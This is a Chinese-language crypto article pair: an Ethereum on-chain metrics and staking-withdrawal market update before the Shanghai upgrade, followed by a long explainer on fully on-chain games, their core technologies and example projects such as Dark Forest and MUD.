3月14日，以太坊网络与价值比率（NVT）的7日平均值降至59.3，这是自去年11月19日以来最低数值。NVT类似于股票市场中广泛使用的价格/收益（P/E）比率。 NVT数值的下降意味着当前市值并未完全反映出网络价值的增长。也就是说，相对而言，与市值相比，通过网络处理的价值更高。因此，NVT比率降低通常意味着投资以太坊的性价比提升。 根据Santiment数据，自3月9日以来，持有1,000–10,000枚ETH的鲸鱼地址们共增持了40万枚ETH，约合6亿美元。 根据Glassnode数据，近期，交易平台上的ETH流出量（7日均值）创下了3个月以来的最高值（32,742,895），这与上文提到的大户增持的时间节点相吻合。 另一方面，根据GlassNode的数据，3月15日，NVT（网络价值/交易）数值为98.45。该数据反映了每日交易量的90天移动平均趋势，而非日常估值。与近来的数值相比，NVT信号有明显上升，上次该信号达到该水平要追溯到2020年2月。换言之，ETH市值增长超过了其链上交易量的增长，因此短期价格似乎有溢价的迹象。 以太坊MVRV比率的上升则表明大多数持有以太坊的地址开始处于盈利状态。如果MVRV比率持续上升，那么后续这些盈利地址的抛售压力可能将继续增加。 监管方面，关于ETH是否属于证券的话题最近又有了新的讨论。此前，SEC将ETH归类为证券的主要论点是ETH早期通过ICO募集了资金，SEC认为投资者购买了ETH以期望获取收益，这与Howey测试的内容吻合，而且转为PoS机制极大地改变了以太坊的增发，ETH持有者通过质押就可以获利。 与SEC倾向于将ETH判定为证券不同，CFTC主席Rostin Behnam表示了相反的态度，他认为ETH是一种商品，因为它已被CFTC交易所列入名单很长一段时间，CTFC拥有监督其衍生产品和基础市场的权力。 如果将ETH和稳定币等数字资产归类为证券，则意味着更多的限制，例如迫使受监管的证券遵守1934年《证券法》所提供的相关报告和注册标准，这将会阻碍该行业的创新。另一方面，如果将ETH归类为商品，则意味着更少的限制和增长潜力。 质押服务商方面，控制着ETH总质押数的约三分之一的Lido Finance协议正在努力变得更加去中心化。Lido预计于4月底完成所有有关链上代码的审核，再加上额外两周时间的安全缓冲，目前的预期是5月中旬左右可以执行ETH的主网提款。 Rocketpool也正在为升级做准备，该升级将验证器节点最低部署16枚ETH的门槛降低至8枚ETH。Rocketpool还在探索其他升级，进一步降低机构用户的质押门槛。 另一个主要的ETH质押服务提供商Coinbase表示将在“上海升级”完成的24小时内开始接受撤出质押ETH的请求。但是，这并不意味着用户将能够立即撤消其ETH，因为“撤出质押的过程由以太坊协议控制，而作为服务提供商，Coinbase无法给出一个确切的提款等待时间。”一旦在以太坊链上处理并释放了质押提款，Coinbase将马上确认用户收到其质押的ETH（包括质押奖励）。 此外，非托管的ETH质押服务商Ebunker表示，“上海升级”实际是以太坊从PoW转向PoS破茧成蝶的最后一步。上海升级完成后，以太坊的扩容计划，例如EIP-4844将可以更好地推进。 从以太坊链上数据、以太坊基金会制定的提款机制以及主要ETH质押服务商的应对策略来看，ETH质押被提取将是一个持续数周乃至数月的过程，预计4月份的“上海升级”将会相对平稳地完成，而长期来看，ETH质押将成为加密长期主义者追求稳定利润的重要“水龙头”。  ( 4 min )
    万字详解全链游戏：基本介绍、生态现状及未来展望
    作者：jojonas1997 本文通过对游戏产业基础设施的说明，指出区块链与游戏技术方向的不同，并对全链游戏与普通链游、传统游戏的异同点进行了细致的分析、。在第二部分，本文对全链游戏的一些关键技术进行了介绍，并给出一些全链游戏的案例。最后，本文给出了对全链游戏的未来展望。 自 Axie Infinity 火爆以来，链游赛道涌现出众多模仿者；随着市场逐渐冷静下来，新一代的链游更多着眼于游戏本身质量与可玩性的提升，并着力优化现有的游戏内经济模型设计。这些链游均同属于一类，即将游戏内资产通过代币与 NFT 的形式记录上链；通过资产上链，实现孳息、自由交易、收藏、链上可组合、融资、社区、治理等多种玩法。这些新的概念与范式，与传统游戏之间具有较大的区别。 客观来说，这一类链游具有自身的优势，也有着很明显的缺点，但毫无疑问是玩家对链游最直接的认知来源。另一类并不被大众所关注的领域，则是 on-chain game（后文称之为 “全链游戏”）。与普通链游所不同的是，全链游戏的所有游戏逻辑均以智能合约的形式部署于链上，正因为如此，受限于现有的区块链技术，全链游戏无法实现复杂的游戏内容、精致的美术，一般会具有十分简洁的玩法。 那么全链游戏存在的必要是什么？为什么有相当一部分用户看好全链游戏？全链游戏与普通链游，甚至传统游戏之间有什么区别？全链游戏未来发展的方向在哪里？ 本文将以这些问题为核心，逐步梳理全链游戏的相关知识，以建立对全链游戏的基本认知；并作出对全链游戏未来发展的一些展望和期待。 全链游戏，简而言之，就是将游戏的所有核心逻辑，包括状态存储、计算与执行等，全部部署于区块链上。直观来说，现有的区块链技术一定是无法满足大部分游戏的部署需求的；但如果想要弄清楚为什么，或者说拥有更明确的对比，我们需要了解，做一个游戏，究竟需要哪些基础设施？ 以下是 NAAVIK 对游戏基础设施的总结图： 正如我们所熟知的，游戏开发首先需要一套引擎，例如 unity，或者 unreal 引擎。游戏引擎并非必须，但如果从头自己开发一部游戏作品，是中小型开发者所无法承担成本的一种选择（对于大厂来说，出于竞争、定制化需求以及效率提升的缘故，他们有动机开发自己的引擎，例如 Rockstar 开发了自己的引擎 RAGE）。与任何其他行业一样，游戏行业也需要专业化以及分工合作来提升效率 — — 数据显示，超过 90% 的游戏工作室都是 unity 的客户。 另一个必不可少的基础设施，是云计算服务。诸如 AWS、Google Cloud、Microsoft Azure 等，可以实现游戏开发、构建、测试、发布、部署全流程全链条的托管，对游戏开发效率的提升是数量级式的；云计算同时在资源与带宽共享、即时和动态后端支持等多方面实现更好的效果。 游戏对计算的要求极高，大部分游戏均有客户端与服务器长连接、网络低延迟、频繁的数据写入（并发读写）、玩家交互、承载弹性等各类计算能力需求。并发读写、低延时、极高的 tps 要求，这些都决定了现阶段甚至未来的区块链技术，本身很难承担游戏计算的职责。 假使不考虑计算，仅考虑存储，当前一款普通的游戏，游戏本身几个 G 到上百 G 的容量，加上运存要求，也并非当前区块链所能承受的范围。ETH 自 2015 年，全部交易历史在标准模式下大约是 1TB，这仅仅相当于十几部大型游戏的容量。尽管游戏内容并非一定要全部存储在链上，但如果想要实现完全链上的游戏（包括计算执行与状态存储），显然并非单纯是区块链技术发展的问题，而是游戏与区块链二者在发展趋势上永恒的矛盾。 游戏行业发展至今，从最初的红白机、像素游戏，到今日的 VR、3A 大作，玩家不仅仅需要精妙设计的玩法，对沉浸感、拟真度的需求也日益提升，这只会进一步提高游戏对硬件的需求。换个角度，当前家用电脑的性能升级，最合适的上限抬高者与检验者其实就是游戏；而区块链作为去中心化的基础设施，其性能几乎不太可能达到同时期中心化硬件的性能巅峰。这就是二者的矛盾所在。 既然趋势不可避免，完全的链上游戏，要去实现复杂的游戏内容、精致的美术等，就几乎是不可能的；正如当前全链游戏所表现出的那样，极其简洁的核心玩法，加上像素级的美术表现，这其实很像上世纪、游戏行业刚刚发展起来的那个时期。每年上线的新游戏不计其数，其中不乏佼佼者，既然玩家已经有了如此多的选择，为什么还要玩全链游戏呢？ 在说明这个问题之前，笔者希望将全链游戏与普通链游，以及传统游戏之间做一个对比，以便读者更方便地理解它们之间的差异。 如前所述，链游市场经历了最初一波的火热与沉寂后，很多传统游戏产业的开发者加入，新一代的链游在游戏质量与可玩性上将有极大提升，且经济模型设计也将有优化。为了便于区分，笔者将它们分别称为 “初代链游” 与 “二代链游”。 由于市场已经对当前的链游建立起初步的印象和认知，在对比全链游戏之前，先将普通链游与传统游戏之间做出对比： 1、游戏的内容深度（玩法、数值、剧情等） 初代链游的质量远低于传统游戏，本质上是作为 DeFi 换皮产品出现的，基本不存在专门的剧情设计，数值与玩法设计也较浅。初代链游无论属于什么类型，其玩法内核都与传统游戏中 “种田类” 游戏相似，投入资源、产出收益，不同的是后者一般为休闲向，而前者则是真金白银的投入，因此玩家收回投入、赚取利益的意愿强烈。 二代链游则更为符合本文对 “普通链游” 的定义，即不再只是粗糙的换皮产品，而是将区块链作为游戏资产确权的一种技术工具，以让游戏拥有更丰富的属性。二代链游在内容深度上基本与传统游戏看齐，例如 illuvium，其玩法丰富度、游戏内的宠物种类等（数值细节暂未释放），即使撇除区块链相关内容，放在传统游戏中也不逊色。 2、美术表现 如前所述，初代链游大多作为 DeFi 换皮产品出现，缺乏剧情、场景等设计，因此很多是以网页的形式表现的。质量较高的，例如 Axie Infinity、Theta Arena，开发了手游，但美术中规中矩。 而二代链游，大多是传统游戏资深经验的开发人员组成的团队，获得一定数量融资，其在美术上的表现也更为专业、优秀。Illuvium、Ember Sword 等产品，均拥有不输于传统游戏的美术品质。 3、经济模型 这是链游区别于传统游戏较大的一点。 传统游戏，由于游戏内资产均为中心化服务器发布，存在极高的不透明度与可控性，并且大多难以在游戏内自由交易，所以游戏内的经济设计，对产品成败的影响并不如其他因素高。而对于链游，透明且自由交易的代币与 NFT，让其不可避免地带上金融属性，游戏的经济循环成为决定性因素。 初代链游的火爆，极大地发挥了这种金融属性的作用；但一方面，金融属性吸引来的更多是投机而非真是玩家，玩家对游戏没有任何的忠诚度与感情；另一方面，简陋的经济模型让很多游戏注定短命、成为了捞快钱的产品。 对于二代链游而言，一方面，很多游戏在金融属性的利用上做出了权衡，要么限制部分 token 的自由交易，要么放弃代币设计，只选择 NFT 的收藏职能作为金融元素的一点嵌入（例如 Blankos）。另一方面，大部分产品都在尽量优化经济模型设计，以与复杂的游戏内容和经济稳定的目标相结合，代币工程本身也作为细分学科逐渐在发展。 4、运营营销 传统游戏的发行，大多是在开发进入末期，产品基本准备完善的前提下开始的。游戏的营销，更多依赖于项目方自己，要么买量、要么常规推广（例如通过游戏主播），少有项目能够带动玩家裂变传播；游戏的运营，更多也是项目方的独角戏，即使玩家提出意见，先不论已是事后，最终的决定权也在于项目方。 而对于链游而言，由于 token 的出现，运营营销的手段产生了不少变化。自由交易的 token，其价格会受到社区共识的影响；玩家对游戏的意见会影响 token 的价格，甚至 token 价格反过来也会影响到玩家对游戏的意见。这样的背景下，社区成为运营与营销的核心，项目方在社区中维系玩家关系、解决玩家反馈、发起推广活动，玩家也可以更直接地接触到项目，项目方与玩家逐渐形成社区共识。 另一方面，由于核心在于社区共识，“运营前置” 成为了链游通用的手段。一个项目往往刚开始开发，社区就会慢慢建立起来，项目方通过开发进度分享、社区聊天、社区活动等维系与玩家之间的关系，以在长期形成共识。 最后，能够传输金融价值的 token，赋予了项目运作新的可能性。不同于传统游戏中，进行运营与营销所必须支付的 “硬” 成本，链游的模式要丰富的多。很多项目往往会用空投预期激励玩家帮助推广，甚至用 token 发工资，这些都类似于 “期权”。并且从期权的角度理解，玩家成为了项目的一员，帮助共同建设项目。 5、融资 传统游戏的开发，大部分来源于自有资金。这是由于，游戏是一个高投入高风险的行业，影响一款游戏成功的因素过于复杂，很难用风险投资的逻辑抓住游戏行业的确定性。少部分小体量游戏，更容易融到资金，因为体量不大、开发周期短。对于游戏大厂而言，一款盈利的游戏往往可以带来巨额的回报，并为后续产品的开发持续资金。融资往往并不针对项目，而是针对公司，后者的确定性相对更高。 而链游的融资模式则产生了颠覆性变化。由于 token 除去作为对游戏资产的映射，其本身也以类股权的形式代表对项目的权益，很多项目会用 token 进行融资。在市场环境向好时，很多游戏仅仅通过 demo 与营销，就获得了足够支撑团队数年的资金。这一方面加大了团队作恶的风险，另一方面，又能够为有想法的团队提供更广阔的可能性。 6、资产所有权 资产所有权，是最常被提及的，链游与传统游戏之间的区别。 纯粹从理论上来说，链游中的游戏资产，的确是可以被确立所有权利的。基于区块链技术带来的公开透明、可追溯不可篡改、token 价值传输，玩家通过私钥可以对钱包内资产进行自由处置。这在传统游戏中是无法实现的，传统游戏内的 “资产” 仅仅存在于项目的服务器中。 然而，这种 “所有权” 存在实际意义吗？至少当前并不存在。因为游戏背后的开发、运营团体，仍旧决定着游戏的生死。假设游戏难以创造收入，或者仅仅因为合同纠纷而需要关闭服务器，尽管代表游戏资产的 token 仍旧在链上，但 “资产” 本身的价值已不复存在了。 7、可组合性与 IP 传统游戏，同一 IP 下的游戏，数据并不互通，即使这些游戏为同一公司开发。以网易公司运营的阴阳师系列为例，当前已有阴阳师、决战平安京、百闻牌等游戏在运营，未来网易仍旧会继续发布 IP 内新产品，包括偶像养成、开放世界等多个产品。但阴阳师和平安京、百闻牌中的式神（游戏内的收集角色）并不互通，玩家在其中一个游戏获得的式神无法用于另一个游戏。 尽管 IP 所有者禁止数据互通更多是出于商业考量（无法带来更多利益），但即使允许互通，也存在很多细节问题亟待解决。除去 IP 内互通，跨产品的合作也往往需要复杂的业务流程。例如网易曾在百闻牌中加入了日漫鬼灭之刃中的角色炭治郎与弥豆子进行联动，这背后是需要大量合作洽谈的；而如果只约定了百闻牌的授权，未来如果其他游戏需要授权，还需要重复同样的工作。 对于链游而言，token 的确权与便利的可组合性为这些过程带来了更高的效率提升。IP 所有者有激励通过已有 NFT 实现新产品的冷启动，并且通过创新设计避免利益受损；IP 授权只需通过 NFT 租赁等手段实现，简单而高效。 8、操作体验 主要是玩家进入游戏的过程。由于显而易见的原因，链游玩家需要有钱包，需要了解基本的操作，除非产品本身做到足够的设计，让玩家 “无感” 游玩整个过程。但这些产品体验上的改进，并不能掩盖链游对操作要求更高的事实。 另一个差异点在于，由于链游的资产以 token 形式存储于链上，token 的 mint、transfer 等操作都需要消耗 gas，从普通玩家的角度理解，相当于为资产确权、交易的手续费用。 9、玩家体验 回到最纯粹的话题：即玩家游玩传统游戏和链游，体验上的差别大吗？ 传统游戏的设计者，喜欢谈论 “心流” 这个名词，即优秀的游戏所能带给玩家的极致投入的状态。玩家玩一款游戏是因为想玩，为了玩游戏，玩家投入了时间、精力和金钱，只为了获得情绪奖励。 对于链游而言，心流的实现显然更加困难，因为玩家的目标不再纯粹。即使部分链游从设计角度切割了金融属性，但显然无法切割 “所有权” 属性，玩家仍旧可以进行点对点交易，金融属性无可避免。对于一款优秀的游戏而言更是如此，因为资产价值取决于游戏本身。 另一个角度，当玩家得知自己在游戏里的获得有机会被永久保存下来，并且拥有自由控制的权利，这无疑也会影响到其游玩的心境。 如果玩家能够克服这些区别，想必对于优秀作品而言，无论以什么形式承载，提供给玩家的乐趣与体验都是足够相似的。 做出普通链游与传统游戏之间的对比后，再进行全链游戏与普通链游的对比，前文所述的很多点又会发生一些微妙的变化。 1、游戏的内容深度（玩法、数值、剧情等） 全链游戏一般只具有世界观，而不做详细剧情设计。全链游戏具有各自独特的核心玩法，相比于初代链游，全链游戏的玩法将极其多样，并且多为基于博弈的策略类玩法；相比于二代链游，全链游戏的玩法远不如前者复杂，并且不会做过多养成堆砌的设计。 基于博弈的核心玩法，对全链游戏的数值设计提出了极高的要求。这将与传统游戏或二代链游中，某些类型的游戏类似，例如 MOBA。但全链游戏的平衡性调整将更为困难，依赖于整个全链游戏技术框架的建立。 2、美术表现 全链游戏的美术仍处于像素级别，并且预计将一直成为其短板，除非技术框架做出突破性革新。预计相当一部分全链游戏可能会采用类似初代链游的网页表现形式。 3、经济模型 不同于普通链游，经济模型对全链游戏的影响将看游戏本身的选择。严格来说，经济模型应该归为 “玩法” 的子类，当玩法本身涉及到经济时，经济模型将变得极其重要；更多时候，“经济模型” 只是成为玩法设计的一个代名词。 全链游戏的玩法设计与经济模型设计本质上是同源的，均有一部分基于博弈论。如果放开对 “全链游戏” 中 “游戏” 二字的定义，早期很多流行的 DeFi 创新协议甚至也可以归为全链游戏，例如 convex 本质上是一个以 “贿赂 “为核心玩法，以” 获取更高利益” 为核心目标追求的游戏。 4、运营营销 全链游戏由于其特性，小团队与较低成本也可以进行开发。一方面，小团队可能不会投入太多预算进行营销；另一方面，全链游戏的受众群体极其垂直，会主动搜寻产品且拥有小圈子传播的基础。 由于全链游戏以玩法本身为核心，因此其运营与链游的运营存在有区别，更多偏向于技术维护。 5、融资 大多数全链游戏并无发币需求，这使得针对单个全链游戏项目进行代币融资的情况较为少见。但全链游戏是天然与 DAO 的组织治理形式相适配的，MatchBox DAO 是最典型的例子（matchboxDAO 是 StarkNet 上致力于孵化全链游戏而生的 DAO 社区）。 6、资产所有权 相比于普通链游，影响资产价值最大的因子 — — 开发运营实体的不确定性，几乎不再发挥作用。对于大部分全链游戏而言，一旦开发完成、部署上链，后续的维护是否由原团队继续进行，似乎不会产生太大的影响。代码本身是开源的，社区完全可以接替开发团队，甚至开发本身都可以由社区进行。 正因为模糊了除去游戏本身以外的所有因素，全链游戏所发行的资产，其所有权相对来说更具实际意义，只要有人玩游戏，全链游戏就有得以存续的理由。 7、可组合性与 IP 全链游戏的可组合性，相对于普通链游，最大的特点就是无许可。游戏间的引用并不需要提前的商定，只要开放代码接口，就能够使用已有的资产，并为其赋予在另一个游戏中的新定义。（基于此，全链游戏平台例如 Cartridge.gg  可能会发挥更重要的作用） 8、操作体验与玩家体验 全链游戏的操作体验不如普通链游，因为玩家的每个步骤都需要消耗 gas 上链，需要计算、执行以及存储状态。这些操作往往会打断玩家的注意力，仅仅在少数游戏类型上，例如回合制、策略类，可以将这种影响降至最低。 对比全链游戏、普通链游与传统游戏，简要细节如下表： 可以发现，相比于普通游戏，全链游戏的优势，即在于其某种程度上实现了 “真正” 的去中心化；基于这一点，游戏和社区治理结合、资产所有权等，都拥有了更高的可能性。全链游戏对区块链性能边界、项目实现等的探索，也有可能带来一些意想不到的技术突破。另一方面，全链游戏对玩法的探索，可能不仅仅会惠及游戏本身，还会影响到 DeFi 协议以及更多区块链项目的设计。 除去区块链技术与传统的游戏开发技术，全链游戏领域仍需要更多新技术的探索，比如游戏场景生成、机制模拟、交互设计等。以下是当前一些重要技术的介绍： 1、随机数生成技术 随机数生成技术是游戏开发中常用的一种技术，其基本原理是通过一定的算法和种子生成一个伪随机数序列。在游戏中，随机数可以用来生成游戏中的随机事件、随机地形、随机道具等，增加游戏的可玩性和趣味性。 随机数生成技术可以分为真随机数和伪随机数两种类型。真随机数是由物理过程生成的随机数，如放射性元素的衰变、大气噪声等，具有真正的随机性。伪随机数则是通过一定的算法和种子生成的数字序列，看起来是随机的，但实际上是可以预测和重现的。 在游戏开发中，通常采用伪随机数生成技术。一般的伪随机数生成算法包括线性同余法、梅森旋转算法等。这些算法的基本思路是通过一个初始的种子值（或称为随机数种子），按照一定的算法生成一个序列，可以根据序列中的某些元素作为游戏中的随机数使用。 全链游戏通常使用基于区块链的随机数生成技术，如基于区块链的随机数生成器（Blockchain-based Random Number Generator，简称 BRNG），它使用区块链中的区块哈希值作为随机数种子，从而生成可验证的随机数。在游戏中，随机数可用于实现各种随机事件，如卡牌游戏中的牌库、角色扮演游戏中的掉落物品等。 2**、过程生成（ProcGen）** 过程生成是很早就被应用于游戏开发的一种技术，最早可以追溯到上个世纪 50 年代的电影和动画领域。例如 1974 年的游戏《Moria》使用过程生成技术生成了无尽的地下城，1984 年的经典游戏《Elite》利用过程生成技术生成了无限的星系和行星等。 过程生成允许开发者通过使用可在区块链上运行的富有表现力但成本低廉的算法，以编程方式创建丰富的世界（风景、地牢、城堡、云……）。其通常试图模拟自然世界的形成过程，在其输出的伪随机性中嵌入多样性和真实性。 考虑到区块链的性能与成本限制，过程生成预计可以成为全链游戏内容丰富度的来源。在以太坊上存储一个 32 字节的字需要花费超过 20000 个 gas，即使是在链上存储 1000 x1000 的 2D 瓦片图也很难做到，更不用提游戏中动辄数十 GB 大小的资源素材了。 在 0xPARC 这篇对 ProcGen 的示例中，算法将先生成世界的一个方块，只有当玩家第一次与特定坐标交互时才写入存储。每次单独调用程序生成算法可能相当便宜 — — 初始化一个实际上无限的世界是 “免费的”，生成一个方块大约需要 70000 gas。但通过运行程序生成，并在有人第一次踩到方块时缓存方块的属性，可以在世界的所有玩家之间分摊将地图存储在链上的成本。 算法为每个即将生成的方块运行伪随机函数。开发者可以为游戏对象分配不同的属性值 — — 例如，如果生物的散列 ID 以 0 结尾，则将其着色为蓝色；否则，将其着色为红色。之后则是创建噪声函数，将纯粹的随机性转化为具有可识别结构的输出结果。常用的噪声函数包括 Perlin Noise、Simplex Noise 等。 3**、零知识证明（Zero Knowledge Proof）** 零知识证明是一种密码学技术，用于证明某个命题的真实性，而无需透露该命题的具体内容。这种技术被广泛应用于保护用户隐私、保证数据完整性等领域。 在全链游戏中，零知识证明可以用于验证游戏中某些行为或事件的发生。例如，玩家完成某个任务或挑战后，需要向游戏系统证明这一行为的真实性，以获得相应的奖励。传统上，这需要通过向游戏服务器发送相关数据来实现，但这种方法可能会暴露玩家的隐私信息，并且不够安全。使用零知识证明技术，玩家可以在不泄露隐私信息的情况下向游戏系统证明自己已完成某个任务或挑战，从而获得相应的奖励。 除此之外，零知识证明在不完全信息博弈的规则实现上将发挥重要作用。不完全信息博弈是德扑、红警等众多经典游戏设计的核心要素，指由于信息不对称，参与者需要根据自己掌握的信息以及对其他参与者行为的判断来进行最优决策。 由于全链游戏将所有数据在链上公开，玩家完全可以通过对区块数据的查询来实现 “完全信息”，一旦进入完全信息博弈，则会丧失不确定性带来的复杂博弈策略，进而失去游戏乐趣。而利用零知识证明，玩家可以向游戏（规则方）证明自己满足了游戏规则和条件，而无需透露自己的信息给其他人。 例如，在 Dark Forest 中，玩家不会向核心智能合约提交他们的行星坐标，而是提交对行星位置的承诺（通过行星坐标进行哈希运算），以及对有效的零知识证明进行哈希运算。这可以使行星位置保密。当玩家想要移动时，他们提交他们要移动的行星的哈希值和他们要移动到的哈希值，以及零知识证明，以证明这是一个 “有效” 的移动。检查 Dark Forest 合约并不会发现其他玩家的实际位置，找到其他玩家的唯一方法就是利用算力暴力搜索。 4**、实体组件系统（Entity Component System）** 实体组件系统 ECS 是一种游戏引擎设计模式，将游戏对象（Entity）分解成组件（Component）和系统（System）两个部分，从而实现游戏对象的高度可重用性和可定制性。ECS 通过解耦游戏对象的行为和数据，使得游戏引擎的设计更加模块化和灵活，能够更好地适应不同类型和规模的游戏。 在 ECS 中，游戏对象（Entity）是一个抽象的概念，可以被看作是一个空壳，不包含任何游戏逻辑和行为。游戏对象由多个组件（Component）组成，每个组件只包含一些数据和状态信息，如位置、颜色、大小等。组件本身并不包含任何逻辑，只是一些数据的集合。系统（System）是一些逻辑处理模块，它根据组件的数据和状态信息对游戏对象进行处理，从而实现游戏的逻辑。 在全链游戏中，ECS 可以发挥非常重要的作用。全链游戏通常由多个子系统组成，每个子系统都需要处理大量的游戏对象。使用 ECS 可以使得游戏对象的行为和数据分离，从而更好地实现不同子系统之间的数据共享和通信，提高游戏性能和可维护性。比如，游戏中的碰撞检测和物理引擎可以通过 ECS 进行优化，将碰撞检测和物理计算分离成系统，让每个系统专注于处理自己的任务，从而提高整个游戏的运行效率。 此外，ECS 还可以提高游戏的可重用性和可定制性。由于游戏对象的行为和数据分离，因此游戏开发者可以轻松地替换或添加组件，从而定制自己的游戏逻辑。同时，ECS 也可以提高游戏的可维护性，使得游戏引擎的设计更加模块化和灵活，可以更好地适应不同类型和规模的游戏。 全链游戏引擎基本都采用了 ECS，例如 Dojo，MUD。 全链游戏目前仍处于极为早期的阶段，本部分案例介绍，将通过对几个典型项目的玩法简介，为读者提供对全链游戏的直观印象。 Dark Forest 2020 年 8 月 14 日，v 神发推分享 Dark Forest ，这也是这款游戏第一次走进大众的视野。在不久前的 8 月 7 日，Dark Forest  在以太坊的 Ropsten 测试网络上发布游戏的第一个测试版 v0.3。目前游戏仍在测试之中，已转移至 gnosis chain（xDAI）。基于 gas 更为便宜的 xDAI 区块链，所有游戏逻辑均直接运行于区块链上，并在游戏中使用了 zkSNARK 技术，以解决 “战争迷雾” 的问题，为玩家创造一个不完全信息博弈的环境。 Dark Forest  是一款 MMO+RTS 太空征服游戏，游戏名取自刘慈欣《三体》中所提出的 “黑暗森林理论”，简单理解就是，一旦某个宇宙文明被发现，就必然会遭受其他文明的打击。 宇宙就像一片黑暗森林，每个文明都是带枪的猎人，他们最初并不知道彼此的存在，但一旦发现对方，出于自保，最理性的做法就是消灭对方。 在 Dark Forest  中，玩家将会随即出生在随机生成的星球，通过征服其他星球来获取更多能量与视野。玩家所在的宇宙会一直生成和扩大，需要用算力计算来拨开战争迷雾；因此，在破除所有战争迷雾前，玩家们相互不知道对手的底牌。玩家有可能遭受其他玩家的攻击，但如果他没有探索出攻击一方的领地，就无法知道攻击来源于谁，敌人实力究竟如何等。 游戏中玩家攻击其他玩家的星球的方式为发送能量，到达能量将与被攻击星球的防守能量相减，若大于防守能量则可攻占该星球。星球会按时间流逝生产能量或银矿，同时可以储存飞船和神器。星球可以通过 “broadcast” 广播功能向宇宙发送广播，这将使得该星球的信息对所有玩家可见。 Dark Forest  通过 zkSNARK 实现了完全去中心化的不完全信息博弈，而这种类似于扑克等经典博弈的玩法吸引了一批忠实玩家，玩家自发组成的生态也是此类去中心化链游的一大亮点。由于众多玩家自发为 Dark Forest  开发插件，游戏逐渐形成了自由插件市场。另外，玩家甚至可以通过 dune 等链上数据分析工具建立自己的仪表盘，去分析对手的交易哈希，并从中发现有利于游戏决策的信息。例如，在 v0.6 第一轮游戏中，一些玩家通过 The Graph 和 Infura，写了他们内部使用的数据分析平台，只需要输入玩家的地址，即可分析对方所有星球的信息，比如几级的行星占比更高，直接从链上推演敌方的实力，进行策略优化。 Topology Topology 是由华人开发者 @guiltygyoza 参与创立的全链游戏组织，目前在开发的主要产品为 Issac。Issac 是建立在 StarkNet 上的一款全链游戏，其设计灵感来源于刘慈欣的小说《三体》与《流浪地球》。 游戏中，所有玩家组成一个居住在 Ev 星球上的文明。Ev 是一颗濒临灭绝的行星，位于三体世界（一个拥有三个太阳的恒星系），三颗太阳分别命名为：Boyuk、Orta、Balaca。Ev 行星很可能与太阳相撞，届时文明也将随之毁灭。 所有玩家必须合作建设工厂管道和电网，将自然资源转化为各种设备，并最终转化为核钻机和推进发动机（NDPE）。NDPE 将安装在行星地面上并进行钻孔，利用核裂变产生的能量向上推动质量，为行星提供反向推力，改变其轨道。 玩家需要根据行星自转和其相对于太阳的位置，战略性定位他们的 NDPE 和发射时间，以改变轨道或沿着安全的逃逸路线驱动行星逃离三体星系。 （@guiltygyoza 在个人博客中写作有不少对于全链游戏实验性的思考） Briq Briq 是一个特殊的区块构建协议，游戏中使用的每个 briqs 都是存储在 StarkNet 上的遵循 ERC-1155 标准的 NFT。任何人都可以使用 briqs 构建一个结构集合，并以 NFT 形式存储它们，用户将收集方块来制作结构，但也要拆卸现有结构以回收方块并用它们建造新结构。也可以将 NFT 相互结合以制造更复杂的结构。 方块和建筑是无限模块化的。 Briq 极大发挥了 NFT 可组合、互操作，以及作为收藏品的优势。玩家一方面可以组合 briq 来创建 NFT 进行收藏或出售，也可以任意地再次组合或者拆分原 NFT 为全新的 NFT；另一方面，briq NFT 可以在任何游戏中使用，可以是某个全链游戏中的道具，也可以作为玩家头像使用。 GoL2 GoL2 是建立在 StarkNet 上的一个模拟 “生命游戏” 的全链游戏协议。“生命游戏” 也被叫做 “康威生命游戏”（Conway’s Game of Life），或者康威生命棋，是英国数学家约翰·何顿·康威在 1970 年发明的元胞自动机。 生命游戏并不涉及玩家间的博弈竞争，更多像是对现实的一种抽象模拟。游戏在一个类似于围棋棋盘一样的，可以无限延伸的二维方格网中进行。设想每个方格中都可放置一个生命细胞，生命细胞只有两种状态：“生” 或 “死”。用黑色的方格表示该细胞为 “生”, 空格表示该细胞为 “死” 。游戏开始时, 每个细胞可以随机地（或给定地）被设定为 “生” 或 “死” 之一的某个状态, 然后，再根据某种规则（生存定律）计算下一代每个细胞的状态： 例如规定如下的 “生存定律”： 1． 每个细胞的状态由该细胞及周围八个细胞上一次的状态所决定； 2. 如果一个细胞周围有 3 个细胞为生，则该细胞为生，即该细胞若原先为死，则转为生，若原先为生，则保持不变； 3. 如果一个细胞周围有 2 个细胞为生，则该细胞的生死状态保持不变； 4. 在其它情况下，该细胞为死，即该细胞若原先为生，则转为死，若原先为死，则保持不变； 游戏如何进行取决于玩家的初始状态设定，无需进一步输入。 从游戏的视角来看 GoL2，似乎它没有任何意义，但是由于它没有硬编码设计，加上结果不可预测，因此在理论上它可以做任何事情。它可以和 AIGC 技术结合并集成到其他全链游戏中，游戏中的所有内容都可以进行无穷无尽的演化，比如我们可以在星际游戏中体验到无穷无尽且不断变化的宇宙行星、外星生物、矿产资源、自然植被，这会给全链游戏的体验带来革命性的突破。 Lattice Lattice 是一个全链游戏开发团队，开发了一个全链游戏开发框架 MUD。 简单来说，可以将 MUD 理解为一个底层的开发者框架（Framework），将有可能支持更复杂的链上应用。基于 MUD 引擎开发的 OPCraft 曾在 Devcon6 上演示并引起较高话题度。OPCraft 的游戏形式基本复制了著名的 MineCraft，玩家对虚拟世界的修改或建造信息，都被存储到了链上。 0xPARC 0xPARC 是由著名全链游戏项目黑暗森林发起人 Gubsheep 建立的研究型组织，目前主要聚焦全链游戏的前沿进展。 在 0xPARC 的博客中，介绍了众多全链游戏的前沿进展。 全链游戏是区块链技术应用的重要领域之一。它利用区块链的不可篡改、可追踪和去中心化特性，提供了一种全新的游戏体验。与传统游戏不同，全链游戏不仅提供了游戏物品的所有权，记录交易和活动记录，还将所有逻辑与计算移植到区块链上，在为游戏提供更加公平、透明的环境的同时，激发玩家参与游戏、参与创造，将极大刺激创新。 在 《Game 2.0 in schematics》这篇文章中，作者描述了自己所构想的全链游戏的未来，笔者认为很值得分享。作者认为，游戏是基于规则所诞生的游玩空间，规则由开发人员支持，游玩空间则由玩家拓建。在最初的游戏中，规则完全由开发者控制，玩家只能通过市场力量施加间接影响；全链游戏中，规则背后的逻辑开源，玩家可以直接获得相关信息，并参与对规则改变的治理进程。开发者和玩家之间的界限将日益模糊，通过激励和包容每个玩家的个性化和细微差别的贡献，内容和逻辑将具有更多的特异性和复杂性，从而产生涌现的生产力。 